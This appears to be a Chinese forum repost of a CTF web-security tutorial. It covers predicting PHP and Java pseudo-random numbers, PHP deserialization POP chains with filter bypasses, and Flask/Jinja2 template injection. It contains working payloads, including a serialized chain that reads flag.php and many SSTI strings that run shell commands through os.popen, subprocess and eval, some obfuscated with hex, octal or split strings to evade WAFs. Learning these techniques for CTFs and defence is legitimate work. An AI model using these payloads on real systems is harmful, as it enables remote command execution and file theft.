|
本帖最后由 Meng0f 于 2022-3-4 20:31 编辑
CTF-WEB系列篇(二)
本文作者:CTF战队
本文字数:9150
阅读时长:23min
附件/链接:点击查看原文下载
本文属于【WIKI.WGPSEC.ORG】原创奖励计划,未经许可禁止转载
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。
狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
一、伪随机数
伪随机数是用确定性的算法计算出来自[0,1]均匀分布的随机数序列。并不真正的随机,但具有类似于随机数的统计特征,如均匀性、独立性等。在计算伪随机数时,若使用的初值(种子)不变,那么伪随机数的数序也不变。常见的有php伪随机数和java伪随机数。
PHP伪随机数- 主要由两个函数组成
- mt_scrand() //播种 Mersenne Twister 随机数生成器。
- mt_rand() //生成随机数
- 由mt_scrand()通过seed分发种子,有了种子以后,通过mt_rand()生成伪随机数
- 我们测试入如下代码
- <?php
- mt_srand(1);
- echo mt_rand()."###";
- echo mt_rand()."###";
- echo mt_rand()."###";
- ?>
- <?php
- mt_srand(1);
- echo mt_rand()."###";
- echo mt_rand()."###";
- ?>
- 会得到如下的结果
- 895547922###2141438069###1546885062###
- 895547922###2141438069###
- 很明显,当我们发现种子不变时,实际上生成的伪随机数是不变的,这就是伪随机数的漏洞所在。
复制代码
mt_rand源码简要分析
通过mt_rand源码分析理解为什么mt_rand()只播种一次
在/ext/standard/rand.c中可以看到,播完种后,将会将 mt_rand_is_seeded 的值设置为1,因此mt_rand只播种一次
 
攻击方法- 专门进行种子爆破的php_mt_seed[1]工具
- 无需暴力破解计算原始种子[2],前提要求是给定间隔226个值的两个mt_rand()输出结果,例如第一个和第228个mt_rand()的输出结果
复制代码
Java伪随机数
以java为例,强伪随机数RNG实现java.security.SecureRandom类,该类使用临时文件夹中大小,线程休眠时间等的值作为随机数种子;而弱伪随机数实现PRNGjava.util.Random类,默认使用当前时间作为种子,并且采用线性同余法计算下一个随机数。 我们测试如下代码- import java.util.Random;
- public class rand{
- public static void main(String[] args){
- Random r1 = new Random(1);
- System.out.println("r1.nextInt(12) = " + r1.nextInt(12));
- Random r2 = new Random(1);
- System.out.println("r2.nextInt(12) = " + r2.nextInt(12));
- }
- }
复制代码
会得到如下结果- r1.nextInt(12) = 9
- r2.nextInt(12) = 9
复制代码 很明显,无论执行多少次,代码的结果不会改变。Random生成的随机数是伪随机数。
java.util.Random的可预测性
调用random.nextInt方法生成三个连续的随机数,要求根据前两个随机数去预测第三个随机数
查看源代码,可以看见直接调用的next方法,传递的参数是32
 
- 追踪next方法,可以看到前一个随机数种子(oldseed)和后一个随机数种子(nextseed)都被定义为long类型,方法返回的值就是下一个种子右移16位后强制转换int的结果
复制代码
 
while里的compareAndSet方法只是比较当前的种子值是否为oldseed,如果是的话就更新为nextseed,一般情况下都会返回true
下一个种子的更新算法就在do-while循环里面:nextseed = (oldseed * multiplier + addend) & mask,种子的初始值是将当前系统时间带入运算得到的结果
返回开头的类定义可以看到这几个常量属性的值
 
线性同余生成器(LCG)
LCG的公式如下:
 
和上面的代码对比可以看出是基本一致的,因为和mask常量做与运算就相当于是舍弃高位,保留2进制的低47位,也就相当于模2的48次方。我们既然都有了常量的值了,就可以去做第三个随机数的预测了。
预测方法如果把生成第一个随机数的种子定义为seed1,seed2,seed3往后顺延的话,seed1右移16位就是第一个随机数的值,说明第一个随机数丢了16位,导致seed1就有2的16次方种可能。
把2的16次方种可能带入计算下一个seed2,并且右移查看是否和第二个随机数的值相等就能确定是否正确的找到了seed1。
如果前两个数是正数,但第三个数是负数,只需要对得到的补码再求一次补码即可,也就是取反后加1。
二、PHP反序列化
魔术函数:
- __construct() 当一个对象创建时被调用,反序列化不触发
- __destruct() 当一个对象销毁时被调用
- __toString() 当一个对象被当作一个字符串使用,比如echo输出或用 . 和字符串拼接
- __call() 当调用的方法不存在时触发
- __invoke() 当一个对象被当作函数调用时触发
- __wakeup() 反序列化时自动调用
- __get() 类中的属性私有或不存在触发
- __set() 类中的属性私有或不存在触发
复制代码 反序列化十六进制绕过关键字- 在反序列化时,序列化中的十六进制会被转化成字母
- 当过滤了c2e38 ,即可用 \63\32\65\33\38 替代,S解析十六进制
- username:y1ng\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
- password:";S:11:"\00*\00password";O:8:"Hacker_A":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_B":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}};s:1:"a";s:0:"
- \00 会被替换为 %00
- \65 会被替换为 e
- 过滤了%00,可用S来代替序列化字符串的s来绕过,在S情况下\00 会被解析成%00
复制代码
序列化时类中私有变量和受保护变量,php7.1+ 对属性并不敏感,public 也可用于protected- private反序列化后是%00(类名)%00(变量名),protect是%00*%00(变量名)
复制代码 PHP5 以及 PHP7 < 7.0.10 可用wake up 绕过
 
当对象个数大于实际个数就不会触发
序列化引用: 
这里的 R:2 即对第二个序列化变量的引用。第一个序列化变量是 a:2:{***},第二个序列化变量是 i:0;s:3:"foo";
所以这道题可以构造 token 对 token_flag 的引用
- payload = O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"02575659ec3b5f6d204a1d1b3081379b";s:10:"token_flag";R:4;}} 。
复制代码
按序列化顺序排号:(1), O:6:"Handle":2:{***}
(2), s:14:"%00Handle%00handle";O:4:"Flag":3:{***}
(3), s:4:"file";s:8:"flag.php";
(4), s:5:"token";s:32:"02575659ec3b5f6d204a1d1b3081379b";
(5), s:10:"token_flag";R:4;
可以看出 token_flag 即为 4 号 token 的引用,所以序列化之后他们是恒等的。
 
把b的地址给a,之后b再传入数据则a也相应变化
可以说这两个变量绑定在了一起,有一个改变,另一个也会一起改变
当没有 unserialize() 时可使用phar,file_exist() 会触发phar反序列化 ( PHP8中删除 )
当开头为phar的协议被过滤时,可使用compress.zlib:// 绕过
形如:compress.zlib://phar://
例题
目标路径存在 index.php 和 flag.php
index.php:
- <?php
- error_reporting(0);
- class Vox{
- protected $headset;
- public $sound;
- public function fun($pulse){
- include($pulse);
- }
- public function __invoke(){
- $this->fun($this->headset);
- }
- }
- class Saw{
- public $fearless;
- public $gun;
- public function __toString(){
- $this->gun['gun']->fearless;
- return "Saw";
- }
- public function _pain(){
- if($this->fearless){
- highlight_file($this->fearless);
- }
- }
- public function __wakeup(){
- if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
- echo "Does it hurt? That's right";
- $this->fearless = "index.php";
- }
- }
- }
- class Petal{
- public $seed;
- public function __get($sun){
- $Nourishment = $this->seed;
- return $Nourishment();
- }
- }
- if(isset($_GET['ozo'])){
- unserialize($_GET['ozo']);
- }
- else{
- $Saw = new Saw('index.php');
- $Saw->_pain();
- }
- ?>
复制代码 flag.php:- <?php
- $flag="{This_is_flag}";
复制代码
首先先找反序列化链入口,这里没有 __destruct(),能触发的只有 __wakeup(),入口从__wakeup()进,出口有两个,一个是 _pain() 的 highlight_file($this->fearless),另一个是__fun中的 include(),这里可以使用 php 伪协议读取文件内容
然后捋一遍出现的魔术函数,有 __wakeup(),__toString(),__invoke(),__get()
__wakeup()是入口,后面有一句 preg_match,$this->fearless 是被当成字符串使用的,就是说如果把 $this->fearless 赋值为 对象 Saw 就会进入 __toString(),之后有 $this->gun['gun']->fearless ,Petal 类中不存在 fearless 属性,把 gun['gun']赋值为 对象 Petal 会进入 __get(),其中 $Nourishment() 可控,属性 seed赋值为对象,触发__invoke()伪协议包含读文件
Payload
- <?php
- class Vox{
- protected $headset="php://filter/read=convert.base64-encode/resource=flag.php";
- public $sound;
- }
- class Saw{
- public $fearless;
- public $gun;
- public function _pain(){}
- }
- class Petal{
- public $seed;
- }
- $a = new Vox();
- $b = new Saw();
- $c = new petal();
- $c->seed = $a;
- $d = new Saw();
- $d->gun['gun']=$c;
- $b->fearless = $d;
- echo(serialize($b));
- ?>
复制代码
三、SSTI
为模板注入,以下皆为 Python3 环境首先由于模板解析的特性,当使用 render_template_string 则可以通过各个类之间的调用造成命令执行
- render_template_string("{{1+1}}")
复制代码
这一解析方法时就会把输入的内容直接放入页面解析,通常的检测方法为
返回的是 2,这也说明其中的内容被执行。
而安全的方法是
- render_template("{{1+1}}")
复制代码
返回的是
利用方法通常是通过某一对象向上寻找基类,进而使用包含某些特殊方法的类,并调用其中的危险函数来执行命令
以下为 flask 的常见可用类
- 75 <class '_frozen_importlib._ModuleLock'>
- 76 <class '_frozen_importlib._DummyModuleLock'>
- 77 <class '_frozen_importlib._ModuleLockManager'>
- 78 <class '_frozen_importlib._installed_safely'>
- 79 <class '_frozen_importlib.ModuleSpec'>
- 91 <class '_frozen_importlib_external.FileLoader'>
- 92 <class '_frozen_importlib_external._NamespacePath'>
- 93 <class '_frozen_importlib_external._NamespaceLoader'>
- 95 <class '_frozen_importlib_external.FileFinder'>
- 103 <class 'codecs.IncrementalEncoder'>
- 104 <class 'codecs.IncrementalDecoder'>
- 105 <class 'codecs.StreamReaderWriter'>
- 106 <class 'codecs.StreamRecoder'>
- 128 <class 'os._wrap_close'>
- 129 <class '_sitebuiltins.Quitter'>
- 130 <class '_sitebuiltins._Printer'>
复制代码
当确定存在模板注入后就是先寻找可用类- {{''.__class__.__mro__[1].__subclasses__()}}
- __class__ 返回调用的参数类型
- __mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
- __subclasses__() 返回object的子类
复制代码
class 返回 str 类,str的基类是 object类,之后返回object的子类,就可以实现多种方法
例如命令执行:
- {{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
复制代码 文件读取:- {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/this_is_the_flag.txt').read()}}
复制代码
WAF绕过
很多 Python 中的语法在 SSTI 中也都是可以用的
attr 用于获取变量,以下写法是相同的
- ""|attr("__class__")
- "".__class__
复制代码 获取数组参数可以使用
- __gititem__()
- __gititem__(数组下标)
- __gititem__("key")
复制代码
绕过双引号可以使用
- request.cookies.参数名
- request.args.参数名
复制代码 比如通过 + 进行拼接绕过关键字,也可以使用 “” 进行拼接,或者 "str1".__add__("str2") 的方式
- {{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").pop'+'en("ls").read()')}}
- {{[].__class__.__base__.__subclasses__()[75].__init__.__globals__.__builtins__["open"]("/fl""ag").read()}}
- {{app.__init__.__globals__["__buil".__add__("tins__")].open("/fla".__add__("g")).read()}}
复制代码 通过十六进制绕过 . 和 _
- {{''["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[342]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]('os')["popen"]("ls")["read"]()}}
复制代码
或者在无回显的时候进行盲注 177 threading.Semaphore
- {% if ''.__class__.__mro__[-1].__subclasses__()[177].__init__.__globals__['__bui'+'ltins__']['open']('/app/flag').read()[0:1]=='f' %}xxx{% endif %}
复制代码
也有特殊的可用类 <class 'subprocess.Popen'> 直接执行命令
- {{''.__class__.__mro__[-1].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
复制代码
或者利用 getattr 进行沙箱逃逸
- getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__cla'+'ss__'),'__mr'+'o__')[1],'__subclas'+'ses__')()[104],'__init__'),'__glob'+'al'+'s__')['sy'+'s'],'mod'+'ules')['o'+'s'],'sy'+'ste'+'m')('l'+'s')
复制代码
和利用八进制绕过- {%print%0a(lipsum|attr("\137\137\147\154\157\142\141\154\163\137\137"))|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\141\164\40\57\146\154\141\147\47\51\56\162\145\141\144\50\51")%}
复制代码
利用 attr 和 request 绕过
- {{()|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3)()|attr(request.cookies.x4)(78)|attr(request.cookies.x5)|attr(request.cookies.x6)|attr(request.cookies.x4)(request.cookies.x7)|attr(request.cookies.x4)(request.cookies.x9)(request.cookies.x10)}}
- Cookie: x1=__class__; x2=__base__; x3=__subclasses__; x4=__getitem__; x5=__init__; x6=__globals__; x7=__builtins__; x8=__getitem__; x9=eval; x10=__import__("os").popen("cat flag.txt").read();
复制代码 其他方法
查看对象属性
- (对象名).func_globals
- (对象名).__code__.co_consts
- (对象名).__code__.co_names
- (对象名).__dict__
- (对象名).__globals__
复制代码
相关题目BUUCTF [BJDCTF 2nd]fake google
|
|